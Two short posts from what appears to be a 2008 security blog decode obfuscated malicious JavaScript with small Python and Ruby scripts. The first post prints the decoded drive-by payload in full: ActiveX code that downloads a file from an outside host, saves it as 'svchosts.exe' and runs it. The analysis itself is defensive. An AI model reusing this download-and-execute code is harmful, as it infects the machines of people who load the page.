Quick javascript de-obfuscation with python

Lee — Thu, 05 Jun 2008 22:44:59 +0000

Scholar was kind enough to allow me to post his/her obfuscated javascript. Here’s a quick rundown. The page was originally this:

404 Not Found
Not Found
The requested URL /index.php was not found on this server. Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.

(line breaks in the str variable added so it’s actually readable). Looks like this script uses the same XOR method as the script I posted about previously. This script is actually trivial to de-obfuscate using python (I <3 ruby, but ruby doesn’t like strings with #{} in them, so it was easier just to use python instead):


shell> python
>>> str = 
>>> str2 = ""
>>> for i in range(0,len(str)):
. . .     str2 = str2 + chr(ord(str[i] ^ 1))

str2 now contains the de-obfuscated javascript, which after inserting line breaks, looks something like this:

poexali(); function poexali() { var ender = document.createElement('object'); ender.setAttribute('id','ender'); ender.setAttribute('classid','clsid:BD96C556-65A3-11D0-983A-00C04FC29E36'); try { var asq = ender.CreateObject('msxml2.XMLHTTP',''); var ass = ender.CreateObject("Shell.Application",''); var asst = ender.CreateObject('adodb.stream',''); try { asst.type = 1; asq.open('GET','http://worldchinesewriters.com//load.php',false); asq.send(); asst.open(); asst.Write(asq.responseBody); var imya = './/..//svchosts.exe'; asst.SaveToFile(imya,2); asst.Close(); } catch(e) {} try { ass.shellexecute(imya); } catch(e) {} }catch(e){} }

Which, as Scholar pointed out in his/her original email, attempts to download hxxp://worldchinesewriters.com/load.php and save it into the local file “svchosts.exe”, then execute the file.

Super-quick post, since lately I seem to be a tad verbose. What “svchosts.exe” does is left as an exercise to the reader

Obfuscated javascript fun

Lee — Wed, 05 Mar 2008 19:25:07 +0000

A friend of mine (thanks Legit) turned me on to this piece of javascript found in the midst of some PHP:

The “getElementById” that testws35fdgh refers to is this empty div:

As it turns out, this is some really terrible obfuscation, here’s the simple script to decode it (written in Ruby because I like Ruby):

#!/usr/bin/env ruby hex = ["x69","x3c","x33","x27","x34","x38", "x30","x75","x3b","x34","x38","x30","x68", "x72","x36","x3a","x20","x3b","x21","x30", "x27","x72","x75","x26","x27","x36","x68", "x72","x3d","x21","x21","x25","x6f","x7a", "x7a","x33","x27","x34","x38","x30","x26", "x21","x34","x21","x7b","x3b","x30","x21", "x7a","x3c","x3b","x31","x30","x2d","x67", "x7b","x25","x3d","x25","x72","x75","x3d", "x30","x3c","x32","x3d","x21","x68","x72", "x64","x63","x72","x75","x22","x3c","x31", "x21","x3d","x68","x72","x64","x63","x72", "x75","x33","x27","x34","x38","x30","x37", "x3a","x27","x31","x30","x27","x68","x72", "x65","x72","x75","x26","x36","x27","x3a", "x39","x39","x3c","x3b","x32","x68","x72", "x3b","x3a","x72","x6b","x69","x7a","x3c", "x33","x27","x34","x38","x30","x6b"] line = "" hex.each { |c| ## Unpack the char c = c.unpack('c').to_s.to_i ## XOR with 85 d = c ^ 85 ## Pack back into a character t = [d].pack('c') ## Append to the line line = line + t } puts line

Which eventually leads you to:

If you do a whois on the framestat.net domain, you can see that the domain was suspended:

Registrant: Suspended Domain ****@4host.info +1.00000000 Suspended domain Suspended domain Suspended domain, Suspended domain,US 94040

Registration Service Provider: name: Rustelekom Ltd. tel: +1.8666254678 fax: +1.9782465632 web:http://nameservers.ru

Looks like someone’s been up to something naughty It also looks like it was originally a Russian site (not that it matters). Since the site is down, it’s difficult to tell what would have happened if the iframe source still existed. I’m guessing malware.

Still, the question remains, how did the javascript get to the page? I’m still looking in to that, right now my theory is php remote-file-inclusion, but we’ll see as things become a bit more clear.

:wq - blog » obfuscation

Quick javascript de-obfuscation with python

`Not Found`

Obfuscated javascript fun